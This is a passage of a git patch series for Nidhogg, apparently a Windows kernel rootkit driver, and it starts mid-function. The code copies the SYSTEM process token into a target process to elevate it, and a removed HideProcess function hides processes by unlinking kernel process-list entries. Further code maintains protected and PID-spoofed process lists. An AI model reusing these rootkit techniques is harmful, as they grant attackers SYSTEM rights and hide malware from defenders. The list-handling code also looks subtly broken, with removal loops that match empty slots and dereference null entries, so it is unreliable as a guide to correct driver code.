(!NT_SUCCESS(status)) + { + return status; + } + status = PsLookupProcessByProcessId(ULongToHandle(SYSTEM_PROCESS_PID), &privilegedProcess); + + if (!NT_SUCCESS(status)) + { + ObDereferenceObject(targetProcess); + return status; + } + + * (UINT64*)((UINT64)targetProcess + tokenOffset) = *(UINT64*)(UINT64(privilegedProcess) + tokenOffset); + + ObDereferenceObject(privilegedProcess); + ObDereferenceObject(targetProcess); + return status; } /* * Description: -* OnPreOpenProcess is responsible for handling process access operations and remove certain permissions from protected processes. +* FindProcess is responsible for searching if a process exists in the list of protected processes. * * Parameters: -* @RegistrationContext [PVOID] -- Unused. -* @Info [POB_PRE_OPERATION_INFORMATION] -- Contains important information such as process name, handle to the process, process type, etc. +* @pid [ULONG] -- PID to search. * * Returns: -* @status [NTSTATUS] -- Always OB_PREOP_SUCCESS. +* @status [bool] -- Whether found or not. */ -OB_PREOP_CALLBACK_STATUS OnPreOpenProcess(PVOID /* RegistrationContext */, POB_PRE_OPERATION_INFORMATION Info) { - if (Info->KernelHandle) - return OB_PREOP_SUCCESS; - - auto Process = (PEPROCESS)Info->Object; - auto pid = HandleToULong(PsGetProcessId(Process)); - - AutoLock locker(pGlobals.Lock); +int FindProcess(Process* process) { + if (process->type == PROCESS_TYPE_PROTECTED) { + for (int i = 0; i < pGlobals.ProtectedProcesses.PidsCount; i++) + if (pGlobals.ProtectedProcesses.Processes[i] == process->ProcessPid) + return i; + } + else if (process->type == PROCESS_TYPE_SPOOFED) { + for (int i = 0; i < pGlobals.SpoofedProcesses.PidsCount; i++) + if (pGlobals.SpoofedProcesses.Processes[i]->ProcessPid == process->SpoofedPid) + return i; + } + return PROCESS_NOT_FOUND; +} - // If the process was found on the list, remove permissions for dump / write process memory and kill the process. - if (FindProcess(pid)) { - Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_OPERATION; - Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_VM_READ; - Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_CREATE_THREAD; - Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_DUP_HANDLE; - Info->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE; +/* +* Description: +* AddProcess is responsible for adding a process to the list of protected processes. +* +* Parameters: +* @pid [ULONG] -- PID to add. +* +* Returns: +* @status [bool] -- Whether successfully added or not. +*/ +bool AddProcess(Process* process) { + if (process->type == PROCESS_TYPE_PROTECTED) { + for (int i = 0; i < MAX_PIDS; i++) + if (pGlobals.ProtectedProcesses.Processes[i] == 0) { + pGlobals.ProtectedProcesses.Processes[i] = process->ProcessPid; + pGlobals.ProtectedProcesses.PidsCount++; + return true; + } } + else if (process->type == PROCESS_TYPE_SPOOFED) { + for (int i = 0; i < MAX_PIDS; i++) + if (pGlobals.SpoofedProcesses.Processes[i] == nullptr || pGlobals.SpoofedProcesses.Processes[i]->ProcessPid == 0) { + pGlobals.SpoofedProcesses.Processes[i]->ProcessPid = process->ProcessPid; + pGlobals.SpoofedProcesses.Processes[i]->SpoofedPid = process->SpoofedPid; + pGlobals.ProtectedProcesses.PidsCount++; + return true; + } + } + return false; +} - return OB_PREOP_SUCCESS; +/* +* Description: +* RemoveProcess is responsible for remove a process from the list of protected processes. +* +* Parameters: +* @pid [ULONG] -- PID to remove. +* +* Returns: +* @status [bool] -- Whether successfully removed or not. +*/ +bool RemoveProcess(Process* process) { + if (process->type == PROCESS_TYPE_PROTECTED) { + for (int i = 0; i < MAX_PIDS; i++) + if (pGlobals.ProtectedProcesses.Processes[i] == 0) { + pGlobals.ProtectedProcesses.Processes[i] = 0; + pGlobals.ProtectedProcesses.PidsCount--; + return true; + } + } + else if (process->type == PROCESS_TYPE_SPOOFED) { + for (int i = 0; i < MAX_PIDS; i++) + if (pGlobals.SpoofedProcesses.Processes[i] == nullptr) { + pGlobals.SpoofedProcesses.Processes[i]->ProcessPid = 0; + pGlobals.SpoofedProcesses.Processes[i]->SpoofedPid = 0; + pGlobals.ProtectedProcesses.PidsCount--; + return true; + } + } + return false; } /* @@ -132,13 +284,13 @@ ULONG GetActiveProcessLinksOffset() { break; } } - + return activeProcessLinks; } /* * Description: -* RemoveProcessLinks is responsible for modifying the list by connecting the previous entry to the next entry and by +* RemoveProcessLinks is responsible for modifying the list by connecting the previous entry to the next entry and by * that "removing" the current entry. * * Parameters: @@ -153,15 +305,15 @@ void RemoveProcessLinks(PLIST_ENTRY current) { /* * Changing the list from: * Prev <--> Current <--> Next - * + * * To: - * + * * | ---------------------------------- * v | * Prev Current Next * | ^ * ---------------------------------- | - */ + */ previous = (current->Blink); next = (current->Flink); @@ -174,56 +326,6 @@ void RemoveProcessLinks(PLIST_ENTRY current) { current->Flink = (PLIST_ENTRY)¤t->Flink; } -/* -* Description: -* HideProcess is responsible for hiding a process by modifying the process list. -* -* Parameters: -* @pid [ULONG] -- PID to hide. -* -* Returns: -* @status [NTSTATUS] -- Whether successfully hidden or not. -*/ -NTSTATUS HideProcess(ULONG pid) { - // Getting the offset depending on the OS version. - ULONG pidOffset = GetActiveProcessLinksOffset(); - - if (pidOffset == STATUS_UNSUCCESSFUL) { - return STATUS_UNSUCCESSFUL; - } - ULONG listOffset = pidOffset + sizeof(INT_PTR); - - // Enumerating the EPROCESSes and finding the target pid. - PEPROCESS currentEProcess = PsGetCurrentProcess(); - PLIST_ENTRY currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset); - PUINT32 currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset); - - if (*(UINT32*)currentPid == pid) { - RemoveProcessLinks(currentList); - return STATUS_SUCCESS; - } - - PEPROCESS StartProcess = currentEProcess; - - currentEProcess = (PEPROCESS)((ULONG_PTR)currentList->Flink - listOffset); - currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset); - currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset); - - while ((ULONG_PTR)StartProcess != (ULONG_PTR)currentEProcess) - { - if (*(UINT32*)currentPid == pid) { - RemoveProcessLinks(currentList); - return STATUS_SUCCESS; - } - - currentEProcess = (PEPROCESS)((ULONG_PTR)currentList->Flink - listOffset); - currentPid = (PUINT32)((ULONG_PTR)currentEProcess + pidOffset); - currentList = (PLIST_ENTRY)((ULONG_PTR)currentEProcess + listOffset); - } - - return STATUS_SUCCESS; -} - /* * Description: * GetTokenOffset is responsible for getting the main thread's token offset depends on the windows version. @@ -262,40 +364,3 @@ UINT64 GetTokenOffset() { return tokenOffset; } - -/* -* Description: -* ElevateProcess is responsible for stealing a token from the SYSTEM process and giving it to other process. -* -* Parameters: -* @pid [ULONG] -- PID to elevate. -* -* Returns: -* @status [NTSTATUS] -- Whether successfully elevated or not. -*/ -NTSTATUS ElevateProcess(ULONG targetPid) { - PEPROCESS privilegedProcess, targetProcess; - NTSTATUS status = STATUS_SUCCESS; - - // Getting the EProcess of the target and the privileged processes. - status = PsLookupProcessByProcessId(ULongToHandle(targetPid), &targetProcess); - UINT64 tokenOffset = GetTokenOffset(); - - if (!NT_SUCCESS(status)) - { - return status; - } - status = PsLookupProcessByProcessId(ULongToHandle(SYSTEM_PROCESS_PID), &privilegedProcess); - - if (!NT_SUCCESS(status)) - { - ObDereferenceObject(targetProcess); - return status; - } - - * (UINT64*)((UINT64)targetProcess + tokenOffset) = *(UINT64*)(UINT64(privilegedProcess) + tokenOffset); - - ObDereferenceObject(privilegedProcess); - ObDereferenceObject(targetProcess); - return status; -} From f692aa44acc5b54b04a8dfef3a6f860390a1cca9 Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Sun, 16 Oct 2022 17:28:48 +0300 Subject: [PATCH 10/10] Removed unused header file --- Nidhogg/Nidhogg.vcxproj | 1 - Nidhogg/Nidhogg.vcxproj.filters | 3 --- Nidhogg/NidhoggHelperFunctions.hpp | 43 ------------------------------ Nidhogg/NidhoggUtils.h | 1 - 4 files changed, 48 deletions(-) delete mode 100644 Nidhogg/NidhoggHelperFunctions.hpp diff --git a/Nidhogg/Nidhogg.vcxproj b/Nidhogg/Nidhogg.vcxproj index 52f46bd..d3c90ad 100644 --- a/Nidhogg/Nidhogg.vcxproj +++ b/Nidhogg/Nidhogg.vcxproj @@ -197,7 +197,6 @@ - diff --git a/Nidhogg/Nidhogg.vcxproj.filters b/Nidhogg/Nidhogg.vcxproj.filters index 93a04f3..717d403 100644 --- a/Nidhogg/Nidhogg.vcxproj.filters +++ b/Nidhogg/Nidhogg.vcxproj.filters @@ -49,9 +49,6 @@ Header Files - - Header Files - diff --git a/Nidhogg/NidhoggHelperFunctions.hpp b/Nidhogg/NidhoggHelperFunctions.hpp deleted file mode 100644 index 15e8c39..0000000 --- a/Nidhogg/NidhoggHelperFunctions.hpp +++ /dev/null @@ -1,43 +0,0 @@ -#pragma once -#include "pch.h" -#include - -/* -* Description: -* wcisstr is responsible for comparing two wchar_t* and find if one contains the other (case insensitive). -* -* Parameters: -* @haystack [wchar_t*] -- Possible container. -* @needle [wchar_t*] -- Possible contained. -* -* Returns: -* @status [bool] -- Whether haystack is contains needle. -*/ -bool wcisstr(wchar_t* haystack, wchar_t* needle) { - int j = 0; - size_t index = wcslen(haystack) - wcslen(needle); - - auto needleInHaystackLen = (wcslen(needle) + 1) * sizeof(WCHAR); - auto needleInHaystack = (WCHAR*)ExAllocatePoolWithTag(PagedPool, needleInHaystackLen, DRIVER_TAG); - - if (!needleInHaystack) - return false; - - for (size_t i = index; i < wcslen(haystack); i++) { - if (j >= wcslen(needle)) - break; - - needleInHaystack[j] = haystack[i]; - j++; - } - - needleInHaystack[wcslen(needle)] = L'\0'; - - if (_wcsicmp(needleInHaystack, needle) == 0) { - ExFreePoolWithTag(needleInHaystack, DRIVER_TAG); - return true; - } - - ExFreePoolWithTag(needleInHaystack, DRIVER_TAG); - return false; -} diff --git a/Nidhogg/NidhoggUtils.h b/Nidhogg/NidhoggUtils.h index c9f487b..da72463 100644 --- a/Nidhogg/NidhoggUtils.h +++ b/Nidhogg/NidhoggUtils.h @@ -2,7 +2,6 @@ #include "pch.h" #include "WindowsTypes.h" #include "Nidhogg.h" -#include "NidhoggHelperFunctions.hpp" #include "ProcessUtils.hpp" #include "FileUtils.hpp" #include "RegistryUtils.hpp"